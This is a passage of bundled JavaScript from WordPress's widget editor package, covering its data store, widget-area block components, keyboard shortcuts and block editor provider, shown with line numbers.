1600;// ./node_modules/@wordpress/edit-widgets/build-module/store/resolvers.js
1601
1602
1603
1604
1605
1606const getWidgetAreas = () => async ({ dispatch, registry }) => {
1607 const query = buildWidgetAreasQuery();
1608 const widgetAreas = await registry.resolveSelect(external_wp_coreData_namespaceObject.store).getEntityRecords(KIND, WIDGET_AREA_ENTITY_TYPE, query);
1609 const widgetAreaBlocks = [];
1610 const sortedWidgetAreas = widgetAreas.sort((a, b) => {
1611 if (a.id === "wp_inactive_widgets") {
1612 return 1;
1613 }
1614 if (b.id === "wp_inactive_widgets") {
1615 return -1;
1616 }
1617 return 0;
1618 });
1619 for (const widgetArea of sortedWidgetAreas) {
1620 widgetAreaBlocks.push(
1621 (0,external_wp_blocks_namespaceObject.createBlock)("core/widget-area", {
1622 id: widgetArea.id,
1623 name: widgetArea.name
1624 })
1625 );
1626 if (!widgetArea.widgets.length) {
1627 dispatch(
1628 persistStubPost(
1629 buildWidgetAreaPostId(widgetArea.id),
1630 []
1631 )
1632 );
1633 }
1634 }
1635 const widgetAreasOpenState = {};
1636 widgetAreaBlocks.forEach((widgetAreaBlock, index) => {
1637 widgetAreasOpenState[widgetAreaBlock.clientId] = index === 0;
1638 });
1639 dispatch(setWidgetAreasOpenState(widgetAreasOpenState));
1640 dispatch(
1641 persistStubPost(buildWidgetAreasPostId(), widgetAreaBlocks)
1642 );
1643};
1644const getWidgets = () => async ({ dispatch, registry }) => {
1645 const query = buildWidgetsQuery();
1646 const widgets = await registry.resolveSelect(external_wp_coreData_namespaceObject.store).getEntityRecords("root", "widget", query);
1647 const groupedBySidebar = {};
1648 for (const widget of widgets) {
1649 const block = transformWidgetToBlock(widget);
1650 groupedBySidebar[widget.sidebar] = groupedBySidebar[widget.sidebar] || [];
1651 groupedBySidebar[widget.sidebar].push(block);
1652 }
1653 for (const sidebarId in groupedBySidebar) {
1654 if (groupedBySidebar.hasOwnProperty(sidebarId)) {
1655 dispatch(
1656 persistStubPost(
1657 buildWidgetAreaPostId(sidebarId),
1658 groupedBySidebar[sidebarId]
1659 )
1660 );
1661 }
1662 }
1663};
1664
1665
1666;// ./node_modules/@wordpress/edit-widgets/build-module/store/selectors.js
1667
1668
1669
1670
1671
1672
1673const EMPTY_INSERTION_POINT = {
1674 rootClientId: void 0,
1675 insertionIndex: void 0
1676};
1677const selectors_getWidgets = (0,external_wp_data_namespaceObject.createRegistrySelector)(
1678 (select) => (0,external_wp_data_namespaceObject.createSelector)(
1679 () => {
1680 const widgets = select(external_wp_coreData_namespaceObject.store).getEntityRecords(
1681 "root",
1682 "widget",
1683 buildWidgetsQuery()
1684 );
1685 return (
1686 // Key widgets by their ID.
1687 widgets?.reduce(
1688 (allWidgets, widget) => ({
1689 ...allWidgets,
1690 [widget.id]: widget
1691 }),
1692 {}
1693 ) ?? {}
1694 );
1695 },
1696 () => [
1697 select(external_wp_coreData_namespaceObject.store).getEntityRecords(
1698 "root",
1699 "widget",
1700 buildWidgetsQuery()
1701 )
1702 ]
1703 )
1704);
1705const getWidget = (0,external_wp_data_namespaceObject.createRegistrySelector)(
1706 (select) => (state, id) => {
1707 const widgets = select(constants_STORE_NAME).getWidgets();
1708 return widgets[id];
1709 }
1710);
1711const selectors_getWidgetAreas = (0,external_wp_data_namespaceObject.createRegistrySelector)((select) => () => {
1712 const query = buildWidgetAreasQuery();
1713 return select(external_wp_coreData_namespaceObject.store).getEntityRecords(
1714 KIND,
1715 WIDGET_AREA_ENTITY_TYPE,
1716 query
1717 );
1718});
1719const getWidgetAreaForWidgetId = (0,external_wp_data_namespaceObject.createRegistrySelector)(
1720 (select) => (state, widgetId) => {
1721 const widgetAreas = select(constants_STORE_NAME).getWidgetAreas();
1722 return widgetAreas.find((widgetArea) => {
1723 const post = select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(
1724 KIND,
1725 POST_TYPE,
1726 buildWidgetAreaPostId(widgetArea.id)
1727 );
1728 const blockWidgetIds = post.blocks.map(
1729 (block) => (0,external_wp_widgets_namespaceObject.getWidgetIdFromBlock)(block)
1730 );
1731 return blockWidgetIds.includes(widgetId);
1732 });
1733 }
1734);
1735const getParentWidgetAreaBlock = (0,external_wp_data_namespaceObject.createRegistrySelector)(
1736 (select) => (state, clientId) => {
1737 const { getBlock, getBlockName, getBlockParents } = select(external_wp_blockEditor_namespaceObject.store);
1738 const blockParents = getBlockParents(clientId);
1739 const widgetAreaClientId = blockParents.find(
1740 (parentClientId) => getBlockName(parentClientId) === "core/widget-area"
1741 );
1742 return getBlock(widgetAreaClientId);
1743 }
1744);
1745const getEditedWidgetAreas = (0,external_wp_data_namespaceObject.createRegistrySelector)(
1746 (select) => (state, ids) => {
1747 let widgetAreas = select(constants_STORE_NAME).getWidgetAreas();
1748 if (!widgetAreas) {
1749 return [];
1750 }
1751 if (ids) {
1752 widgetAreas = widgetAreas.filter(
1753 ({ id }) => ids.includes(id)
1754 );
1755 }
1756 return widgetAreas.filter(
1757 ({ id }) => select(external_wp_coreData_namespaceObject.store).hasEditsForEntityRecord(
1758 KIND,
1759 POST_TYPE,
1760 buildWidgetAreaPostId(id)
1761 )
1762 ).map(
1763 ({ id }) => select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(
1764 KIND,
1765 WIDGET_AREA_ENTITY_TYPE,
1766 id
1767 )
1768 );
1769 }
1770);
1771const getReferenceWidgetBlocks = (0,external_wp_data_namespaceObject.createRegistrySelector)(
1772 (select) => (state, referenceWidgetName = null) => {
1773 const results = [];
1774 const widgetAreas = select(constants_STORE_NAME).getWidgetAreas();
1775 for (const _widgetArea of widgetAreas) {
1776 const post = select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(
1777 KIND,
1778 POST_TYPE,
1779 buildWidgetAreaPostId(_widgetArea.id)
1780 );
1781 for (const block of post.blocks) {
1782 if (block.name === "core/legacy-widget" && (!referenceWidgetName || block.attributes?.referenceWidgetName === referenceWidgetName)) {
1783 results.push(block);
1784 }
1785 }
1786 }
1787 return results;
1788 }
1789);
1790const isSavingWidgetAreas = (0,external_wp_data_namespaceObject.createRegistrySelector)((select) => () => {
1791 const widgetAreasIds = select(constants_STORE_NAME).getWidgetAreas()?.map(({ id }) => id);
1792 if (!widgetAreasIds) {
1793 return false;
1794 }
1795 for (const id of widgetAreasIds) {
1796 const isSaving = select(external_wp_coreData_namespaceObject.store).isSavingEntityRecord(
1797 KIND,
1798 WIDGET_AREA_ENTITY_TYPE,
1799 id
1800 );
1801 if (isSaving) {
1802 return true;
1803 }
1804 }
1805 const widgetIds = [
1806 ...Object.keys(select(constants_STORE_NAME).getWidgets()),
1807 void 0
1808 // account for new widgets without an ID
1809 ];
1810 for (const id of widgetIds) {
1811 const isSaving = select(external_wp_coreData_namespaceObject.store).isSavingEntityRecord(
1812 "root",
1813 "widget",
1814 id
1815 );
1816 if (isSaving) {
1817 return true;
1818 }
1819 }
1820 return false;
1821});
1822const getIsWidgetAreaOpen = (state, clientId) => {
1823 const { widgetAreasOpenState } = state;
1824 return !!widgetAreasOpenState[clientId];
1825};
1826function isInserterOpened(state) {
1827 return !!state.blockInserterPanel;
1828}
1829function __experimentalGetInsertionPoint(state) {
1830 if (typeof state.blockInserterPanel === "boolean") {
1831 return EMPTY_INSERTION_POINT;
1832 }
1833 return state.blockInserterPanel;
1834}
1835const canInsertBlockInWidgetArea = (0,external_wp_data_namespaceObject.createRegistrySelector)(
1836 (select) => (state, blockName) => {
1837 const widgetAreas = select(external_wp_blockEditor_namespaceObject.store).getBlocks();
1838 const [firstWidgetArea] = widgetAreas;
1839 return select(external_wp_blockEditor_namespaceObject.store).canInsertBlockType(
1840 blockName,
1841 firstWidgetArea.clientId
1842 );
1843 }
1844);
1845function isListViewOpened(state) {
1846 return state.listViewPanel;
1847}
1848function isWidgetSavingLocked(state) {
1849 return Object.keys(state.widgetSavingLock).length > 0;
1850}
1851
1852
1853;// ./node_modules/@wordpress/edit-widgets/build-module/store/private-selectors.js
1854function getListViewToggleRef(state) {
1855 return state.listViewToggleRef;
1856}
1857function getInserterSidebarToggleRef(state) {
1858 return state.inserterSidebarToggleRef;
1859}
1860
1861
1862;// external ["wp","privateApis"]
1863const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"];
1864;// ./node_modules/@wordpress/edit-widgets/build-module/lock-unlock.js
1865
1866const { lock, unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
1867 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
1868 "@wordpress/edit-widgets"
1869);
1870
1871
1872;// ./node_modules/@wordpress/edit-widgets/build-module/store/index.js
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882const storeConfig = {
1883 reducer: reducer_default,
1884 selectors: store_selectors_namespaceObject,
1885 resolvers: resolvers_namespaceObject,
1886 actions: store_actions_namespaceObject
1887};
1888const store_store = (0,external_wp_data_namespaceObject.createReduxStore)(constants_STORE_NAME, storeConfig);
1889(0,external_wp_data_namespaceObject.register)(store_store);
1890external_wp_apiFetch_default().use(function(options, next) {
1891 if (options.path?.indexOf("/wp/v2/types/widget-area") === 0) {
1892 return Promise.resolve({});
1893 }
1894 return next(options);
1895});
1896unlock(store_store).registerPrivateSelectors(private_selectors_namespaceObject);
1897
1898
1899;// external ["wp","hooks"]
1900const external_wp_hooks_namespaceObject = window["wp"]["hooks"];
1901;// ./node_modules/@wordpress/edit-widgets/build-module/filters/move-to-widget-area.js
1902
1903
1904
1905
1906
1907
1908
1909const withMoveToWidgetAreaToolbarItem = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
1910 (BlockEdit) => (props) => {
1911 const { clientId, name: blockName } = props;
1912 const { widgetAreas, currentWidgetAreaId, canInsertBlockInWidgetArea } = (0,external_wp_data_namespaceObject.useSelect)(
1913 (select) => {
1914 if (blockName === "core/widget-area") {
1915 return {};
1916 }
1917 const selectors = select(store_store);
1918 const widgetAreaBlock = selectors.getParentWidgetAreaBlock(clientId);
1919 return {
1920 widgetAreas: selectors.getWidgetAreas(),
1921 currentWidgetAreaId: widgetAreaBlock?.attributes?.id,
1922 canInsertBlockInWidgetArea: selectors.canInsertBlockInWidgetArea(blockName)
1923 };
1924 },
1925 [clientId, blockName]
1926 );
1927 const { moveBlockToWidgetArea } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
1928 const hasMultipleWidgetAreas = widgetAreas?.length > 1;
1929 const isMoveToWidgetAreaVisible = blockName !== "core/widget-area" && hasMultipleWidgetAreas && canInsertBlockInWidgetArea;
1930 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1931 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockEdit, { ...props }, "edit"),
1932 isMoveToWidgetAreaVisible && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1933 external_wp_widgets_namespaceObject.MoveToWidgetArea,
1934 {
1935 widgetAreas,
1936 currentWidgetAreaId,
1937 onSelect: (widgetAreaId) => {
1938 moveBlockToWidgetArea(
1939 props.clientId,
1940 widgetAreaId
1941 );
1942 }
1943 }
1944 ) })
1945 ] });
1946 },
1947 "withMoveToWidgetAreaToolbarItem"
1948);
1949(0,external_wp_hooks_namespaceObject.addFilter)(
1950 "editor.BlockEdit",
1951 "core/edit-widgets/block-edit",
1952 withMoveToWidgetAreaToolbarItem
1953);
1954
1955;// external ["wp","mediaUtils"]
1956const external_wp_mediaUtils_namespaceObject = window["wp"]["mediaUtils"];
1957;// ./node_modules/@wordpress/edit-widgets/build-module/filters/replace-media-upload.js
1958
1959
1960const replaceMediaUpload = () => external_wp_mediaUtils_namespaceObject.MediaUpload;
1961(0,external_wp_hooks_namespaceObject.addFilter)(
1962 "editor.MediaUpload",
1963 "core/edit-widgets/replace-media-upload",
1964 replaceMediaUpload
1965);
1966
1967;// ./node_modules/@wordpress/edit-widgets/build-module/filters/index.js
1968
1969
1970
1971;// ./node_modules/@wordpress/edit-widgets/build-module/blocks/widget-area/block.json
1972const block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/widget-area","title":"Widget Area","category":"widgets","attributes":{"id":{"type":"string"},"name":{"type":"string"}},"supports":{"html":false,"inserter":false,"customClassName":false,"reusable":false,"__experimentalToolbar":false,"__experimentalParentSelector":false,"__experimentalDisableBlockOverlay":true},"editorStyle":"wp-block-widget-area-editor","style":"wp-block-widget-area"}');
1973;// ./node_modules/@wordpress/edit-widgets/build-module/blocks/widget-area/edit/use-is-dragging-within.js
1974
1975const useIsDraggingWithin = (elementRef) => {
1976 const [isDraggingWithin, setIsDraggingWithin] = (0,external_wp_element_namespaceObject.useState)(false);
1977 (0,external_wp_element_namespaceObject.useEffect)(() => {
1978 const { ownerDocument } = elementRef.current;
1979 function handleDragStart(event) {
1980 handleDragEnter(event);
1981 }
1982 function handleDragEnd() {
1983 setIsDraggingWithin(false);
1984 }
1985 function handleDragEnter(event) {
1986 if (elementRef.current.contains(event.target)) {
1987 setIsDraggingWithin(true);
1988 } else {
1989 setIsDraggingWithin(false);
1990 }
1991 }
1992 ownerDocument.addEventListener("dragstart", handleDragStart);
1993 ownerDocument.addEventListener("dragend", handleDragEnd);
1994 ownerDocument.addEventListener("dragenter", handleDragEnter);
1995 return () => {
1996 ownerDocument.removeEventListener("dragstart", handleDragStart);
1997 ownerDocument.removeEventListener("dragend", handleDragEnd);
1998 ownerDocument.removeEventListener("dragenter", handleDragEnter);
1999 };
2000 }, []);
2001 return isDraggingWithin;
2002};
2003var use_is_dragging_within_default = useIsDraggingWithin;
2004
2005
2006;// ./node_modules/@wordpress/edit-widgets/build-module/blocks/widget-area/edit/inner-blocks.js
2007
2008
2009
2010
2011
2012
2013function WidgetAreaInnerBlocks({ id }) {
2014 const [blocks, onInput, onChange] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)(
2015 "root",
2016 "postType"
2017 );
2018 const innerBlocksRef = (0,external_wp_element_namespaceObject.useRef)();
2019 const isDraggingWithinInnerBlocks = use_is_dragging_within_default(innerBlocksRef);
2020 const shouldHighlightDropZone = isDraggingWithinInnerBlocks;
2021 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(
2022 { ref: innerBlocksRef },
2023 {
2024 value: blocks,
2025 onInput,
2026 onChange,
2027 templateLock: false,
2028 renderAppender: external_wp_blockEditor_namespaceObject.InnerBlocks.ButtonBlockAppender
2029 }
2030 );
2031 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2032 "div",
2033 {
2034 "data-widget-area-id": id,
2035 className: dist_clsx(
2036 "wp-block-widget-area__inner-blocks block-editor-inner-blocks editor-styles-wrapper",
2037 {
2038 "wp-block-widget-area__highlight-drop-zone": shouldHighlightDropZone
2039 }
2040 ),
2041 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps })
2042 }
2043 );
2044}
2045
2046
2047;// ./node_modules/@wordpress/edit-widgets/build-module/blocks/widget-area/edit/index.js
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057function WidgetAreaEdit({
2058 clientId,
2059 attributes: { id, name }
2060}) {
2061 const isOpen = (0,external_wp_data_namespaceObject.useSelect)(
2062 (select) => select(store_store).getIsWidgetAreaOpen(clientId),
2063 [clientId]
2064 );
2065 const { setIsWidgetAreaOpen } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
2066 const wrapper = (0,external_wp_element_namespaceObject.useRef)();
2067 const setOpen = (0,external_wp_element_namespaceObject.useCallback)(
2068 (openState) => setIsWidgetAreaOpen(clientId, openState),
2069 [clientId]
2070 );
2071 const isDragging = useIsDragging(wrapper);
2072 const isDraggingWithin = use_is_dragging_within_default(wrapper);
2073 const [openedWhileDragging, setOpenedWhileDragging] = (0,external_wp_element_namespaceObject.useState)(false);
2074 (0,external_wp_element_namespaceObject.useEffect)(() => {
2075 if (!isDragging) {
2076 setOpenedWhileDragging(false);
2077 return;
2078 }
2079 if (isDraggingWithin && !isOpen) {
2080 setOpen(true);
2081 setOpenedWhileDragging(true);
2082 } else if (!isDraggingWithin && isOpen && openedWhileDragging) {
2083 setOpen(false);
2084 }
2085 }, [isOpen, isDragging, isDraggingWithin, openedWhileDragging]);
2086 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
2087 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Panel, { ref: wrapper, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2088 external_wp_components_namespaceObject.PanelBody,
2089 {
2090 title: name,
2091 opened: isOpen,
2092 onToggle: () => {
2093 setIsWidgetAreaOpen(clientId, !isOpen);
2094 },
2095 scrollAfterOpen: !isDragging,
2096 children: ({ opened }) => (
2097 // This is required to ensure LegacyWidget blocks are not
2098 // unmounted when the panel is collapsed. Unmounting legacy
2099 // widgets may have unintended consequences (e.g. TinyMCE
2100 // not being properly reinitialized)
2101 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2102 external_wp_components_namespaceObject.__unstableDisclosureContent,
2103 {
2104 className: "wp-block-widget-area__panel-body-content",
2105 visible: opened,
2106 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2107 external_wp_coreData_namespaceObject.EntityProvider,
2108 {
2109 kind: "root",
2110 type: "postType",
2111 id: `widget-area-${id}`,
2112 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WidgetAreaInnerBlocks, { id })
2113 }
2114 )
2115 }
2116 )
2117 )
2118 }
2119 ) }) });
2120}
2121const useIsDragging = (elementRef) => {
2122 const [isDragging, setIsDragging] = (0,external_wp_element_namespaceObject.useState)(false);
2123 (0,external_wp_element_namespaceObject.useEffect)(() => {
2124 const { ownerDocument } = elementRef.current;
2125 function handleDragStart() {
2126 setIsDragging(true);
2127 }
2128 function handleDragEnd() {
2129 setIsDragging(false);
2130 }
2131 ownerDocument.addEventListener("dragstart", handleDragStart);
2132 ownerDocument.addEventListener("dragend", handleDragEnd);
2133 return () => {
2134 ownerDocument.removeEventListener("dragstart", handleDragStart);
2135 ownerDocument.removeEventListener("dragend", handleDragEnd);
2136 };
2137 }, []);
2138 return isDragging;
2139};
2140
2141
2142;// ./node_modules/@wordpress/edit-widgets/build-module/blocks/widget-area/index.js
2143
2144
2145
2146const { name: widget_area_name } = block_namespaceObject;
2147const settings = {
2148 title: (0,external_wp_i18n_namespaceObject.__)("Widget Area"),
2149 description: (0,external_wp_i18n_namespaceObject.__)("A widget area container."),
2150 __experimentalLabel: ({ name: label }) => label,
2151 edit: WidgetAreaEdit
2152};
2153
2154
2155;// ./node_modules/@wordpress/edit-widgets/build-module/components/error-boundary/index.js
2156
2157
2158
2159
2160
2161
2162
2163function CopyButton({ text, children }) {
2164 const ref = (0,external_wp_compose_namespaceObject.useCopyToClipboard)(text);
2165 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { __next40pxDefaultSize: true, variant: "secondary", ref, children });
2166}
2167function ErrorBoundaryWarning({ message, error }) {
2168 const actions = [
2169 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CopyButton, { text: error.stack, children: (0,external_wp_i18n_namespaceObject.__)("Copy Error") }, "copy-error")
2170 ];
2171 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { className: "edit-widgets-error-boundary", actions, children: message });
2172}
2173class ErrorBoundary extends external_wp_element_namespaceObject.Component {
2174 constructor() {
2175 super(...arguments);
2176 this.state = {
2177 error: null
2178 };
2179 }
2180 componentDidCatch(error) {
2181 (0,external_wp_hooks_namespaceObject.doAction)("editor.ErrorBoundary.errorLogged", error);
2182 }
2183 static getDerivedStateFromError(error) {
2184 return { error };
2185 }
2186 render() {
2187 if (!this.state.error) {
2188 return this.props.children;
2189 }
2190 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2191 ErrorBoundaryWarning,
2192 {
2193 message: (0,external_wp_i18n_namespaceObject.__)(
2194 "The editor has encountered an unexpected error."
2195 ),
2196 error: this.state.error
2197 }
2198 );
2199 }
2200}
2201
2202
2203;// external ["wp","patterns"]
2204const external_wp_patterns_namespaceObject = window["wp"]["patterns"];
2205;// external ["wp","keyboardShortcuts"]
2206const external_wp_keyboardShortcuts_namespaceObject = window["wp"]["keyboardShortcuts"];
2207;// external ["wp","keycodes"]
2208const external_wp_keycodes_namespaceObject = window["wp"]["keycodes"];
2209;// ./node_modules/@wordpress/edit-widgets/build-module/components/keyboard-shortcuts/index.js
2210
2211
2212
2213
2214
2215
2216
2217function KeyboardShortcuts() {
2218 const { redo, undo } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
2219 const { saveEditedWidgetAreas } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
2220 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/edit-widgets/undo", (event) => {
2221 undo();
2222 event.preventDefault();
2223 });
2224 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/edit-widgets/redo", (event) => {
2225 redo();
2226 event.preventDefault();
2227 });
2228 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/edit-widgets/save", (event) => {
2229 event.preventDefault();
2230 saveEditedWidgetAreas();
2231 });
2232 return null;
2233}
2234function KeyboardShortcutsRegister() {
2235 const { registerShortcut } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_keyboardShortcuts_namespaceObject.store);
2236 (0,external_wp_element_namespaceObject.useEffect)(() => {
2237 registerShortcut({
2238 name: "core/edit-widgets/undo",
2239 category: "global",
2240 description: (0,external_wp_i18n_namespaceObject.__)("Undo your last changes."),
2241 keyCombination: {
2242 modifier: "primary",
2243 character: "z"
2244 }
2245 });
2246 registerShortcut({
2247 name: "core/edit-widgets/redo",
2248 category: "global",
2249 description: (0,external_wp_i18n_namespaceObject.__)("Redo your last undo."),
2250 keyCombination: {
2251 modifier: "primaryShift",
2252 character: "z"
2253 },
2254 // Disable on Apple OS because it conflicts with the browser's
2255 // history shortcut. It's a fine alias for both Windows and Linux.
2256 // Since there's no conflict for Ctrl+Shift+Z on both Windows and
2257 // Linux, we keep it as the default for consistency.
2258 aliases: (0,external_wp_keycodes_namespaceObject.isAppleOS)() ? [] : [
2259 {
2260 modifier: "primary",
2261 character: "y"
2262 }
2263 ]
2264 });
2265 registerShortcut({
2266 name: "core/edit-widgets/save",
2267 category: "global",
2268 description: (0,external_wp_i18n_namespaceObject.__)("Save your changes."),
2269 keyCombination: {
2270 modifier: "primary",
2271 character: "s"
2272 }
2273 });
2274 registerShortcut({
2275 name: "core/edit-widgets/keyboard-shortcuts",
2276 category: "main",
2277 description: (0,external_wp_i18n_namespaceObject.__)("Display these keyboard shortcuts."),
2278 keyCombination: {
2279 modifier: "access",
2280 character: "h"
2281 }
2282 });
2283 registerShortcut({
2284 name: "core/edit-widgets/next-region",
2285 category: "global",
2286 description: (0,external_wp_i18n_namespaceObject.__)("Navigate to the next part of the editor."),
2287 keyCombination: {
2288 modifier: "ctrl",
2289 character: "`"
2290 },
2291 aliases: [
2292 {
2293 modifier: "access",
2294 character: "n"
2295 }
2296 ]
2297 });
2298 registerShortcut({
2299 name: "core/edit-widgets/previous-region",
2300 category: "global",
2301 description: (0,external_wp_i18n_namespaceObject.__)("Navigate to the previous part of the editor."),
2302 keyCombination: {
2303 modifier: "ctrlShift",
2304 character: "`"
2305 },
2306 aliases: [
2307 {
2308 modifier: "access",
2309 character: "p"
2310 },
2311 {
2312 modifier: "ctrlShift",
2313 character: "~"
2314 }
2315 ]
2316 });
2317 }, [registerShortcut]);
2318 return null;
2319}
2320KeyboardShortcuts.Register = KeyboardShortcutsRegister;
2321var keyboard_shortcuts_default = KeyboardShortcuts;
2322
2323
2324;// ./node_modules/@wordpress/edit-widgets/build-module/hooks/use-last-selected-widget-area.js
2325
2326
2327
2328
2329
2330const useLastSelectedWidgetArea = () => (0,external_wp_data_namespaceObject.useSelect)((select) => {
2331 const { getBlockSelectionEnd, getBlockName } = select(external_wp_blockEditor_namespaceObject.store);
2332 const selectionEndClientId = getBlockSelectionEnd();
2333 if (getBlockName(selectionEndClientId) === "core/widget-area") {
2334 return selectionEndClientId;
2335 }
2336 const { getParentWidgetAreaBlock } = select(store_store);
2337 const widgetAreaBlock = getParentWidgetAreaBlock(selectionEndClientId);
2338 const widgetAreaBlockClientId = widgetAreaBlock?.clientId;
2339 if (widgetAreaBlockClientId) {
2340 return widgetAreaBlockClientId;
2341 }
2342 const { getEntityRecord } = select(external_wp_coreData_namespaceObject.store);
2343 const widgetAreasPost = getEntityRecord(
2344 KIND,
2345 POST_TYPE,
2346 buildWidgetAreasPostId()
2347 );
2348 return widgetAreasPost?.blocks[0]?.clientId;
2349}, []);
2350var use_last_selected_widget_area_default = useLastSelectedWidgetArea;
2351
2352
2353;// ./node_modules/@wordpress/edit-widgets/build-module/constants.js
2354const ALLOW_REUSABLE_BLOCKS = false;
2355const ENABLE_EXPERIMENTAL_FSE_BLOCKS = false;
2356
2357
2358;// ./node_modules/@wordpress/edit-widgets/build-module/components/widget-areas-block-editor-provider/index.js
2359
2360
2361
2362
2363
2364
2365
2366
2367
2368
2369
2370
2371
2372
2373
2374
2375
2376const { ExperimentalBlockEditorProvider } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
2377const { PatternsMenuItems } = unlock(external_wp_patterns_namespaceObject.privateApis);
2378const { BlockKeyboardShortcuts } = unlock(external_wp_blockLibrary_namespaceObject.privateApis);
2379const EMPTY_ARRAY = [];
2380function WidgetAreasBlockEditorProvider({
2381 blockEditorSettings,
2382 children,
2383 ...props
2384}) {
2385 const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium");
2386 const {
2387 hasUploadPermissions,
2388 reusableBlocks,
2389 isFixedToolbarActive,
2390 keepCaretInsideBlock,
2391 pageOnFront,
2392 pageForPosts
2393 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
2394 const { canUser, getEntityRecord, getEntityRecords } = select(external_wp_coreData_namespaceObject.store);
2395 const siteSettings = canUser("read", {
2396 kind: "root",
2397 name: "site"
2398 }) ? getEntityRecord("root", "site") : void 0;
2399 return {
2400 hasUploadPermissions: canUser("create", {
2401 kind: "postType",
2402 name: "attachment"
2403 }) ?? true,
2404 reusableBlocks: ALLOW_REUSABLE_BLOCKS ? getEntityRecords("postType", "wp_block") : EMPTY_ARRAY,
2405 isFixedToolbarActive: !!select(external_wp_preferences_namespaceObject.store).get(
2406 "core/edit-widgets",
2407 "fixedToolbar"
2408 ),
2409 keepCaretInsideBlock: !!select(external_wp_preferences_namespaceObject.store).get(
2410 "core/edit-widgets",
2411 "keepCaretInsideBlock"
2412 ),
2413 pageOnFront: siteSettings?.page_on_front,
2414 pageForPosts: siteSettings?.page_for_posts
2415 };
2416 }, []);
2417 const { setIsInserterOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
2418 const settings = (0,external_wp_element_namespaceObject.useMemo)(() => {
2419 let mediaUploadBlockEditor;
2420 if (hasUploadPermissions) {
2421 mediaUploadBlockEditor = ({ onError, ...argumentsObject }) => {
2422 (0,external_wp_mediaUtils_namespaceObject.uploadMedia)({
2423 wpAllowedMimeTypes: blockEditorSettings.allowedMimeTypes,
2424 onError: ({ message }) => onError(message),
2425 ...argumentsObject
2426 });
2427 };
2428 }
2429 return {
2430 ...blockEditorSettings,
2431 __experimentalReusableBlocks: reusableBlocks,
2432 hasFixedToolbar: isFixedToolbarActive || !isLargeViewport,
2433 keepCaretInsideBlock,
2434 mediaUpload: mediaUploadBlockEditor,
2435 templateLock: "all",
2436 __experimentalSetIsInserterOpened: setIsInserterOpened,
2437 pageOnFront,
2438 pageForPosts,
2439 editorTool: "edit"
2440 };
2441 }, [
2442 hasUploadPermissions,
2443 blockEditorSettings,
2444 isFixedToolbarActive,
2445 isLargeViewport,
2446 keepCaretInsideBlock,
2447 reusableBlocks,
2448 setIsInserterOpened,
2449 pageOnFront,
2450 pageForPosts
2451 ]);
2452 const widgetAreaId = use_last_selected_widget_area_default();
2453 const [blocks, onInput, onChange] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)(
2454 KIND,
2455 POST_TYPE,
2456 { id: buildWidgetAreasPostId() }
2457 );
2458 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.SlotFillProvider, { children: [
2459 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(keyboard_shortcuts_default.Register, {}),
2460 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockKeyboardShortcuts, {}),
2461 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
2462 ExperimentalBlockEditorProvider,
2463 {
2464 value: blocks,
2465 onInput,
2466 onChange,
2467 settings,
2468 useSubRegistry: false,
2469 ...props,
2470 children: [
2471 children,
2472 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PatternsMenuItems, { rootClientId: widgetAreaId })
2473 ]
2474 }
2475 )
2476 ] });
2477}
